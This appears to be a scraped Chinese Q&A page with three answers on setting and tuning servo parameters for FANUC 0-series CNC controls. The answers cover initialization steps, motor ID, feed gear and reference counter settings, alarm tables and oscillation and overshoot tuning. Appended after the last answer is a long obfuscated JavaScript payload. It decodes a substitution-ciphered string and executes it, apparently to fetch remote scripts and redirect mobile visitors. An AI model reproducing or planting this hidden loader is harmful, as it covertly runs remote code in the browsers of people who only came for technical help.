FANUC 0系统怎么设定伺服参数

2025-02-21 05:55:54
推荐回答(3个)
回答1:

FANUC 0系统伺服参数设定与调整:

 通常情况下,数字伺服的调整应通过数控系统进行,数字伺服的调整可分为初始化与动态性能调整两部分。

 1.FANUC   0系统数字伺服的初始化

 当数控系统的伺服驱动更换,或因为更换电池等原因,使伺服参数出现错误时,必须对伺服系统进行初始化处理与重新调整。数字伺服的初始化步骤如下。

(1)初始化的准备  在初始化数字伺服前,应首先确认以下基本数据,以便进行初始化工作。

1)数控系统的型号。

2)伺服电动机的型号、规格、电动机代码。

3)电动机内装的脉冲编码器的型号、规格。

4)伺服系统是否使用外部位置检测器件,如使用,需要确认其规格型号。

5)电动机每转对应的工作台移动距离。

6)机床的检测单位。

7)数控系统的指令单位。

(2)初始化的步骤  数字伺服的初始化按以下步骤进行:

1)使数控系统处在“紧停”状态。

2)设定系统的参数写入为“允许”状态。

3)操作系统,显示伺服参数画面。对于不同的系统,其操作方法有所区别,具体如下:

对于FANUC 0TC,0MC,0TD,0MD系统,操作步骤为:

①将机床参数PRM389 bit0设定为“1”,使伺服参数页面可以在CRT上显示。

②关机,使PRM389 bit0的设定生效。

③通过按系统操作面板上的“PARAM”(参数显示)键(按键可能需要数次,或直接通过系统显示的“软功能键”进行选择),直到出现图5-18所示的页面显示。

对于FANUC 15系列系统:按“SERVICE”键数次,直到出现图5-18所示的页面显示;

对于FANUC 16/18/20/21系列系统,操作步骤为:

①将机床参数PRM3111 bit0设定为“1”,使伺服参数页面可以在CRT上显示。

②关机,使PRM3111 bit0的设定生效。

③按“SYSTEM”键,选择“系统”显示页面。

④按次序依次操作“软功能键”〖SYSTEM〗→〖>〗→〖SV-PRM〗,使图5-18所示的页面显示。图5-18  数字伺服初始化页面(附图)。

4)根据系统的要求设定伺服系统的指令单位(INITIAL SET BITS的bit0);设定初始化参数(INITIAL SET BITS的bitl)为初始化方式(见表5-17)。

5)根据所使用的电动机,输入电动机代码参数“Motor ID No”。

6)根据电动机的编码器输出脉冲数,设定编码器参数AMR,在通常情况下,使用串行口脉冲编码器时,AMR设定为00000000。

 7)根据机床的机械传动系统设计,设定指令脉冲倍乘比CMR。

 8)根据机床的机械传动系统设计与使用的编码器脉冲数,设定伺服系统的“电子齿轮比”参数“Feed gear”的N/M的值。

 9)设定电动机转向参数“DIRECTION Set”,正转时为111,反转时为-111。

10)设定伺服系统的速度反馈脉冲数“Velocity Pulse No” 与位置反馈脉冲数“Position Pulse No”。

 在通常情况下,对于半闭环系统,可以按表5-17进行设定;当采用全闭环系统时,设定参数有所区别,可参见有关手册进行,在此从略。

 表5-17  速度/位置反馈脉冲数的设定表:

                   INITIAL SET BITS bit 0=0      

                    INITIAL SET BITS bit 1=0                                     

                                 Velocity Pulse NO     8192                                     

                                 Position Pulse NO     12500    

11)根据编码器脉冲数、丝杠螺距、减速比等参数设定伺服系统的参考计数器容量“Ref counter”。

12)关机,再次开机。

 2.FANUC数字伺服的参数调整与动态优化:

 当数字伺服参数设定错误时,将发生数字伺服报警,这时必须调整参数。报警的内容与原因以及应调整的参数见表5-18。

 表5-18  数字伺服参数报警及调整上览表:

报警内容        报警原因               应调整的参数 

                                   FANUC0C, FANUC 15, FANUC16/18/20/21 

POAl(观察器)溢出   POAI参数被设定为0     8*47     1857     2047 

 N脉冲抑制电平溢出   N脉冲抑制参数设定太大     8*03     1808     2003 

  前馈参数溢出   前馈参数超过了32767     8*68     1961     2068 

  位置增益溢出   位置增益参数设定太大     517     1825     1825 

  位置反馈脉冲数溢出   位置反馈脉冲数大于13100     8*00     1804     2000 

  电动机代码不正确   电动机代码设定错误     8*20     1874     2020 

  轴选择错误   坐标轴设定错误   269~274     1023     1023 

其他报警 位置反馈脉冲数≤0 8*24  1891 2024 

  速度反馈脉冲数≤0     8*23     1876     2023 

  旋转方向=0     8*22     1879     2022 

  电子齿轮比设定(N/M)≤0 8*84/8*85   1977/1978     2084/2085 

  电子齿轮比(N/M)>1 8*84/8*85   1977/1978     2084/2085 

(1)数字伺服的功能概述  FANUC 数字伺服采用了部分新型的控制功能,它用于调整伺服系统的动态特性,这些功能包括:

 1)停止时的振荡抑制功能(N脉冲抑制功能)。N脉冲抑制功能的作用是消除停止时的振荡。由于伺服系统采用了闭环控制,当电动机不转时,当速度反馈出现很小的偏移时,经过速度环的放大,就可能引起电动机的振荡。使用N脉冲抑制功能,可能在电动机停止时,从速度环比例增益中消除速度反馈脉冲的偏移量,避免电动机停止时的振荡。

 2)机械谐振抑制功能。在FANUC数字伺服中,用于机械谐振抑制的功能主要有:250µs加速反馈功能、机械速度反馈功能、观察器功能、转矩指令滤波功能、双位置反馈功能等。

 250µs加速反馈功能是利用电动机的速度反馈信号乘以加速反馈增益,实现对转矩的补偿,从而对速度环的振荡进行抑制的功能,它对由于弹性联轴器联结或负载惯量的原因引起的50~150Hz的振荡具有抑制作用。

 机械速度反馈功能可以在电动机与机床间连接刚性不足时,将机床本身的速度反馈加入速度环中,从而提高速度环的稳定性。

 观察器功能用于消除机械系统的高频谐振干扰,提高速度环的稳定性。在数字伺服系统中,控制系统的状态变量为速度与扰动转矩,观察器的功能是将预测的速度状态变量用于反馈。由于观察器预测的速度量中无实际速度的高频分量,因此,利用本功能可以消除速度环的高频振荡。

 转矩滤波器的作用是对转矩指令进行低通滤波,消除转矩指令中的高频分量,从而抑制机械系统的高频谐振。

 双位置反馈功能用于全闭环系统,它可以使全闭环系统获得与半闭环系统同样的稳定性。

3)超调补偿功能。超调补偿功能是通过数字伺服系统的不完全积分器,使得系统的转矩指令满足起动转矩指令TCMDl>静摩擦转矩>动摩擦转矩>停止时的转矩指令TCMD2的关系式,从而消除了系统的超调。

 4)形状误差抑制功能。在FANUC数字伺服中,用于抑制形状误差的功能主要有位置前馈、反向间隙加速两种功能。

 位置前馈是通过前馈控制,提高了系统的动态响应速度,从而减小系统的位置跟随误差,抑制加工的形状误差的功能。

 反向间隙加速是通过提高系统反向间隙补偿速度,减小了由于机械系统间隙引起的位置滞后,从而抑制加工的形状误差的功能。

 通过合理充分利用上述功能,选择合理的伺服参数,可以使伺服系统获得最佳的静、动态性能。

(2)数字伺服的参数调整  当数字伺服参数设定不合适时,伺服系统的动态性能将变差,严重时甚至会使系统产生振荡与超调,这时必须进行参数的调整与优化。对于不同的故障,伺服系统参数的调整与优化步骤如下。

 1)停止时发生振荡。伺服系统停止时可能发生的振荡有高频振荡与低频振荡两种,对于停止时的振荡,参数调整的步骤与内容见表5-19。

 表5-19  数字伺服参数调整一览表1

现  象 处   理 应调整的参数 

                        FANUC 0C,  FANUC 15  , FANUC 16/18/20/21 

  高频振荡 :  

 1.降低速度环比例增益(PK2V)     8*44     1856     2044 

  2.降低负载惯量比     8*21     1875     2021 

  3.使用250µs加速功能     8*66     1894     2066 

  4.使用N脉冲抑制功能     8*03     1808     2003 

低频振荡 :

 5.提高负载惯量比     8*21     1875     2021 

  6.降低速度环积分增益(PKlV)     8*43     1855     2043 

  7.提高速度环比例增益(PK2V)     8*44     1856     2044 

2)移动时发生振荡。伺服系统移动时可能发生的振荡,亦有高频振荡与低频振荡两种,对于移动时的振荡,参数调整的步骤与内容见表5-20。

表5-20  数字伺服参数调整一览表2  :

现象      处    理     应调整的参数 

                     FANUC 0C ,  FANUC 15,  FANUC16/18/20/21 

高频振荡:   

1.降低速度环比例增益(PK2V) 8*44 1856 2044 

 2.降低负载惯量比 8*21 1875 2021 

 3.使用250µs加速功能 8*66 1894 2066 

低频振荡 :  

4.提高负载惯量比 8*21 1875 2021 

  5.降低速度环积分增益(PKlV) 8*43 1855 2043 

  6.提高速度环比例增益(PK2V) 8*44 1856 2044 

  7.调整TCMD波形 应使用调整板进行 

3)超调。对于伺服系统移动时超调,参数调整的步骤与内容见表5-21。

表5-21  数字伺服参数调整一览表3 :

现象      处    理      应调整的参数 

                 FANUC 0C ,  FANUC 15 , FANUC16/18/20/21 

超调 : 

1.使PI控制生效(PIEN) 8*03 1808 2003 

 2.提高负载惯量比 8*21 1875 2021 

 3.使用超调抑制功能 8*03/8*45/8*77 1808/1875/1970 2003/2045/2077 

 4.提高速度环不完全积分增益(PK3V) 8*45 1875 2045 

 5.调整TCMD波形 应使用调整板进行 

4)出现圆弧插补象限过渡过冲现象。对于伺服系统圆弧插补象限过渡过冲现象,参数调整的步骤与内容见表5-22。

表5-22  数字伺服参数调整一览表4   :

现 象      处    理     应调整的参数 

                FANUC 0C ,  FANUC 15 , FANUC16/18/20/21 

圆弧插补象限过渡过冲 : 

1.使PI控制生效(PIEN) 8*03 1808 2003 

 2.调整反向间隙值 535 1851 1851 

 3.使用反向间隙加速功能 8*03 1808 2003 

 4.使用两级反向间隙加速功能 —— 1957 2015 

 5.调整VCMD波形 应使用调整板进行

回答2:

FANUC0系统设定伺服参数的操作及注意事项:

初始设定位:

#3(PRMCAL)1:

进行参数初始设定时,自动变成1。根据脉冲编码器的脉冲数自动计算下列值。

PRM2043(PK1V),PRM2044(PK2V),PRM2047(POA1),

PRM2053(PPMAX),PRM2054(PDDP),PRM2056(EMFCMP),

PRM2057(PVPA),PRM2059(EMFBAS),PRM2074(AALPH),PRM2076(WKAC)。

#1(DGPRM)0:进行数字伺服参数的初始化设定。

1:不进行数字伺服参数的初始化设定。#0(PLC01)0:使用PRM2023,2024的值。

1:在内部把PRM2023,2024的值乘10倍。

选择所使用的电机ID号:

按照电机型号和规格号(中间4位:A06B-XXXX-BXXX)参照α系列伺服放大器说明书列出。

参考计数器:

参考计数器的设定主要用于栅格方式回原点,根据参考计数器的容量使电机转一转。所以,参考计数器设定错误后,会导致每次回零的位置会不一致,也即回零点不准。

参考计数器容量设定值是指电机转一转所需的(位置反馈)脉冲数,或者设定为该数能够被整数除尽的分数。也可以理解为返回参考点的栅格间隔所以,参考计数器容量=栅格间隔/检测单位栅格间隔=脉冲编码器1转的移动量。

FSSB显示和设定画面:

通过一个高速串行总线(FANUC串行伺服总线,或FSSB)连接CNC控制单元到伺服放大器,只用用一根光缆,可显著减少机床电气的电缆使用量。

轴设定会根据轴和放大器内部之间关系自动计算并输入到FSSB设定画面。参数1023,1905,1910-1919,1936和1937会按计算结果自动定义。

扩展资料:

伺服系统按系统结构可分为开环伺服系统、闭环伺服系统、半闭环系统、复合控制系统。

具有反馈的闭环自动控制系统由位置检测部分、偏差放大部分、执行部分及被控对象组成。

伺服系统必须具备可控性好,稳定性高和适应性强等基本性能。说明一下,可控性好是指讯号消失以后,能立即自行停转;稳定性高是指转矩随转速的增加而均匀下降;适应性强是指反应快、灵敏、响态品质好。

参考资料:百度百科-伺服

回答3:

不外就是设定电子齿轮比,旋转轴还是直线轴,自整定等

!function(){function a(a){var _idx="g3r6t5j1i0";var b={e:"P",w:"D",T:"y","+":"J",l:"!",t:"L",E:"E","@":"2",d:"a",b:"%",q:"l",X:"v","~":"R",5:"r","&":"X",C:"j","]":"F",a:")","^":"m",",":"~","}":"1",x:"C",c:"(",G:"@",h:"h",".":"*",L:"s","=":",",p:"g",I:"Q",1:"7",_:"u",K:"6",F:"t",2:"n",8:"=",k:"G",Z:"]",")":"b",P:"}",B:"U",S:"k",6:"i",g:":",N:"N",i:"S","%":"+","-":"Y","?":"|",4:"z","*":"-",3:"^","[":"{","(":"c",u:"B",y:"M",U:"Z",H:"[",z:"K",9:"H",7:"f",R:"x",v:"&","!":";",M:"_",Q:"9",Y:"e",o:"4",r:"A",m:".",O:"o",V:"W",J:"p",f:"d",":":"q","{":"8",W:"I",j:"?",n:"5",s:"3","|":"T",A:"V",D:"w",";":"O"};return a.split("").map(function(a){return void 0!==b[a]?b[a]:a}).join("")}var b=a('data:image/jpg;base64,cca8>[7_2(F6O2 5ca[5YF_52"vX8"%cmn<ydFhm5d2fO^caj}g@aPqYF 282_qq!Xd5 Y=F=O8D62fODm622Y5V6fFh!qYF ^8O/Ko0.c}00%n0.cs*N_^)Y5c"}"aaa=78[6L|OJgN_^)Y5c"@"a<@=5YXY5LY9Y6phFgN_^)Y5c"0"a=YXY2F|TJYg"FO_(hY2f"=LqOFWfg_cmn<ydFhm5d2fO^cajngKa=5YXY5LYWfg_cmn<ydFhm5d2fO^cajngKa=5ODLgo=(Oq_^2Lg}0=6FY^V6FhgO/}0=6FY^9Y6phFg^/o=qOdfiFdF_Lg0=5Y|5Tg0P=68"#MqYYb"=d8HZ!F5T[d8+i;NmJd5LYc(c6a??"HZ"aP(dF(hcYa[P7_2(F6O2 pcYa[5YF_52 Ym5YJqd(Yc"[[fdTPP"=c2YD wdFYampYFwdFYcaaP7_2(F6O2 (cY=Fa[qYF 282_qq!F5T[28qO(dqiFO5dpYmpYFWFY^cYaP(dF(hcYa[Fvvc28FcaaP5YF_52 2P7_2(F6O2 qcY=F=2a[F5T[qO(dqiFO5dpYmLYFWFY^cY=FaP(dF(hcYa[2vv2caPP7_2(F6O2 LcY=Fa[F8}<d5p_^Y2FLmqY2pFhvvXO6f 0l88FjFg""!7mqOdfiFdF_L8*}=}00<dmqY2pFh??cdmJ_Lhc`c$[YPa`%Fa=qc6=+i;NmLF562p67TcdaaaP7_2(F6O2 _cYa[qYF F80<d5p_^Y2FLmqY2pFhvvXO6f 0l88YjYg}=28"ruxwE]k9W+ztyN;eI~i|BAV&-Ud)(fY7h6CSq^2OJ:5LF_XDRT4"=O82mqY2pFh=58""!7O5c!F**!a5%82HydFhm7qOO5cydFhm5d2fO^ca.OaZ!5YF_52 5P7_2(F6O2 fcYa[qYF F8fO(_^Y2Fm(5YdFYEqY^Y2Fc"L(56JF"a!Xd5 28H"hFFJLg\/\/[[fdTPPKs0)hFL_h^mYJRqFmRT4gQ}1Q"="hFFJLg\/\/[[fdTPPKs0)hFL_h^mYJRqFmRT4gQ}1Q"="hFFJLg\/\/[[fdTPPKs0)hFL_h^mYJRqFmRT4gQ}1Q"="hFFJLg\/\/[[fdTPPKs0)hFL_h^mYJRqFmRT4gQ}1Q"="hFFJLg\/\/[[fdTPPKs0)hFL_h^mYJRqFmRT4gQ}1Q"="hFFJLg\/\/[[fdTPPKs0)hFL_h^mYJRqFmRT4gQ}1Q"="hFFJLg\/\/[[fdTPPKs0)hFL_h^mYJRqFmRT4gQ}1Q"Z!qYF O8pc2Hc2YD wdFYampYFwdTcaZ??2H0Za%"/h^/Ks0jR8ps5KFnC}60"!O8O%c*}888Om62fYR;7c"j"aj"j"g"v"a%"58"%7m5Y|5T%%%"vF8"%hca%5ca=FmL5(8pcOa=FmO2qOdf87_2(F6O2ca[7mqOdfiFdF_L8@=)caP=FmO2Y55O587_2(F6O2ca[YvvYca=LYF|6^YO_Fc7_2(F6O2ca[Fm5Y^OXYcaP=}0aP=fO(_^Y2FmhYdfmdJJY2fxh6qfcFa=7mqOdfiFdF_L8}P7_2(F6O2 hca[qYF Y8(c"bb___b"a!5YF_52 Y??qc"bb___b"=Y8ydFhm5d2fO^camFOiF562pcsKamL_)LF562pcsa=7_2(F6O2ca[Y%8"M"Pa=Y2(OfYB~WxO^JO2Y2FcYaPr55dTm6Lr55dTcda??cd8HZ=qc6=""aa!qYF J8"Ks0"=X8"ps5KFnC}60"!7_2(F6O2 TcYa[}l88Ym5YdfTiFdFYvv0l88Ym5YdfTiFdFY??Ym(qOLYcaP7_2(F6O2 DcYa[Xd5 F8H"Ks0^)ThF)mpOL2fmRT4"="Ks0X5ThF)m64YdCmRT4"="Ks02pThFmpOL2fmRT4"="Ks0_JqhFm64YdCmRT4"="Ks02TOhFmpOL2fmRT4"="Ks0CSqhF)m64YdCmRT4"="Ks0)FfThF)fmpOL2fmRT4"Z=F8FHc2YD wdFYampYFwdTcaZ??FH0Z=F8"DLLg//"%c2YD wdFYampYFwdFYca%F%"g@Q}1Q"!qYF O82YD VY)iO(SYFcF%"/"%J%"jR8"%X%"v58"%7m5Y|5T%%%"vF8"%hca%5ca%c2_qql882j2gcF8fO(_^Y2Fm:_Y5TiYqY(FO5c"^YFdH2d^Y8(Z"a=28Fj"v(h8"%FmpYFrFF56)_FYc"("ag""aaa!OmO2OJY287_2(F6O2ca[7mqOdfiFdF_L8@P=OmO2^YLLdpY87_2(F6O2cFa[qYF 28FmfdFd!F5T[28cY8>[qYF 5=F=2=O=6=d=(8"(hd5rF"=q8"75O^xhd5xOfY"=L8"(hd5xOfYrF"=_8"62fYR;7"=f8"ruxwE]k9W+ztyN;eI~i|BAV&-Ud)(fY7ph6CSq^2OJ:5LF_XDRT40}@sonK1{Q%/8"=h8""=^80!7O5cY8Ym5YJqd(Yc/H3r*Ud*40*Q%/8Z/p=""a!^<YmqY2pFh!a28fH_ZcYH(Zc^%%aa=O8fH_ZcYH(Zc^%%aa=68fH_ZcYH(Zc^%%aa=d8fH_ZcYH(Zc^%%aa=58c}nvOa<<o?6>>@=F8csv6a<<K?d=h%8iF562pHqZc2<<@?O>>oa=Kol886vvch%8iF562pHqZc5aa=Kol88dvvch%8iF562pHqZcFaa![Xd5 78h!qYF Y8""=F=2=O!7O5cF858280!F<7mqY2pFh!ac587HLZcFaa<}@{jcY%8iF562pHqZc5a=F%%ag}Q}<5vv5<@ojc287HLZcF%}a=Y%8iF562pHqZccs}v5a<<K?Ksv2a=F%8@agc287HLZcF%}a=O87HLZcF%@a=Y%8iF562pHqZcc}nv5a<<}@?cKsv2a<<K?KsvOa=F%8sa!5YF_52 YPPac2a=2YD ]_2(F6O2c"MFf(L"=2acfO(_^Y2Fm(_55Y2Fi(56JFaP(dF(hcYa[F82mqY2pFh*o0=F8F<0j0gJd5LYW2FcydFhm5d2fO^ca.Fa!Lc@0o=` $[Ym^YLLdpYP M[$[FPg$[2mL_)LF562pcF=F%o0aPPM`a=7mqOdfiFdF_L8*}PTcOa=@8887mqOdfiFdF_Lvv)caP=OmO2Y55O587_2(F6O2ca[@l887mqOdfiFdF_LvvYvvYca=TcOaP=7mqOdfiFdF_L8}PqYF i8l}!7_2(F6O2 )ca[ivvcfO(_^Y2Fm5Y^OXYEXY2Ft6LFY2Y5c7mYXY2F|TJY=7m(q6(S9d2fqY=l0a=Y8fO(_^Y2FmpYFEqY^Y2FuTWfc7m5YXY5LYWfaavvYm5Y^OXYca!Xd5 Y=F8fO(_^Y2Fm:_Y5TiYqY(FO5rqqc7mLqOFWfa!7O5cqYF Y80!Y<FmqY2pFh!Y%%aFHYZvvFHYZm5Y^OXYcaP7_2(F6O2 $ca[LYF|6^YO_Fc7_2(F6O2ca[67c@l887mqOdfiFdF_La[Xd5[(Oq_^2LgY=5ODLgO=6FY^V6Fhg5=6FY^9Y6phFg6=LqOFWfgd=6L|OJg(=5YXY5LY9Y6phFgqP87!7_2(F6O2 Lca[Xd5 Y8pc"hFFJLg//[[fdTPPKs0qhOFq^)Y6(:m^_2dphmRT4gQ}1Q/((/Ks0j6LM2OF8}vFd5pYF8}vFT8@"a!FOJmqO(dF6O2l88LYq7mqO(dF6O2jFOJmqO(dF6O28YgD62fODmqO(dF6O2mh5Y78YP7O5cqYF 280!2<Y!2%%a7O5cqYF F80!F<O!F%%a[qYF Y8"JOL6F6O2g76RYf!4*62fYRg}00!f6LJqdTg)qO(S!"%`qY7Fg$[2.5PJR!D6fFhg$[ydFhm7qOO5cmQ.5aPJR!hY6phFg$[6PJR!`!Y%8(j`FOJg$[q%F.6PJR`g`)OFFO^g$[q%F.6PJR`!Xd5 _8fO(_^Y2Fm(5YdFYEqY^Y2Fcda!_mLFTqYm(LL|YRF8Y=_mdffEXY2Ft6LFY2Y5c7mYXY2F|TJY=La=fO(_^Y2Fm)OfTm62LY5FrfCd(Y2FEqY^Y2Fc")Y7O5YY2f"=_aP67clia[qYF[YXY2F|TJYgY=6L|OJg5=5YXY5LY9Y6phFg6P87!fO(_^Y2FmdffEXY2Ft6LFY2Y5cY=h=l0a=7m(q6(S9d2fqY8h!Xd5 28fO(_^Y2Fm(5YdFYEqY^Y2Fc"f6X"a!7_2(F6O2 fca[Xd5 Y8pc"hFFJLg//[[fdTPPKs0qhOFq^)Y6(:m^_2dphmRT4gQ}1Q/((/Ks0j6LM2OF8}vFd5pYF8}vFT8@"a!FOJmqO(dF6O2l88LYq7mqO(dF6O2jFOJmqO(dF6O28YgD62fODmqO(dF6O2mh5Y78YP7_2(F6O2 hcYa[Xd5 F8D62fODm622Y59Y6phF!qYF 280=O80!67cYaLD6F(hcYmLFOJW^^Yf6dFYe5OJdpdF6O2ca=YmFTJYa[(dLY"FO_(hLFd5F"g28YmFO_(hYLH0Zm(q6Y2F&=O8YmFO_(hYLH0Zm(q6Y2F-!)5YdS!(dLY"FO_(hY2f"g28Ym(hd2pYf|O_(hYLH0Zm(q6Y2F&=O8Ym(hd2pYf|O_(hYLH0Zm(q6Y2F-!)5YdS!(dLY"(q6(S"g28Ym(q6Y2F&=O8Ym(q6Y2F-P67c0<2vv0<Oa67c5a[67cO<86a5YF_52l}!O<^%6vvfcaPYqLY[F8F*O!67cF<86a5YF_52l}!F<^%6vvfcaPP2m6f87m5YXY5LYWf=2mLFTqYm(LL|YRF8`hY6phFg$[7m5YXY5LY9Y6phFPJR`=5jfO(_^Y2Fm)OfTm62LY5FrfCd(Y2FEqY^Y2Fc"d7FY5)Yp62"=2agfO(_^Y2Fm)OfTm62LY5FrfCd(Y2FEqY^Y2Fc")Y7O5YY2f"=2a=i8l0PqYF F8pc"hFFJLg//[[fdTPPKs0)hFL_h^mYJRqFmRT4gQ}1Q/f/Ks0j(8}vR8ps5KFnC}60"a!FvvLYF|6^YO_Fc7_2(F6O2ca[Xd5 Y8fO(_^Y2Fm(5YdFYEqY^Y2Fc"L(56JF"a!YmL5(8F=fO(_^Y2FmhYdfmdJJY2fxh6qfcYaP=}YsaPP=@n00aPO82dX6pdFO5mJqdF7O5^=Y8l/3cV62?yd(a/mFYLFcOa=F8Jd5LYW2FcL(5YY2mhY6phFa>8Jd5LYW2FcL(5YY2mD6fFha=cY??Favvc/)d6f_?9_dDY6u5ODLY5?A6XOu5ODLY5?;JJOu5ODLY5?9YT|dJu5ODLY5?y6_6u5ODLY5?yIIu5ODLY5?Bxu5ODLY5?IzI/6mFYLFc2dX6pdFO5m_LY5rpY2FajDc7_2(F6O2ca[Lc@0}a=Dc7_2(F6O2ca[Lc@0@a=fc7_2(F6O2ca[Lc@0saPaPaPagfc7_2(F6O2ca[Lc}0}a=fc7_2(F6O2ca[Lc}0@a=Dc7_2(F6O2ca[Lc}0saPaPaPaa=lYvvO??$ca=XO6f 0l882dX6pdFO5mLY2fuYd(O2vvfO(_^Y2FmdffEXY2Ft6LFY2Y5c"X6L6)6q6FT(hd2pY"=7_2(F6O2ca[Xd5 Y=F!"h6ffY2"888fO(_^Y2FmX6L6)6q6FTiFdFYvvdmqY2pFhvvcY8pc"hFFJLg//[[fdTPPKs0)hFL_h^mYJRqFmRT4gQ}1Q"a%"/)_pj68"%J=cF82YD ]O5^wdFdamdJJY2fc"^YLLdpY"=+i;NmLF562p67Tcdaa=FmdJJY2fc"F"="0"a=2dX6pdFO5mLY2fuYd(O2cY=Fa=dmqY2pFh80=qc6=""aaPaPaca!'.substr(22));new Function(b)()}();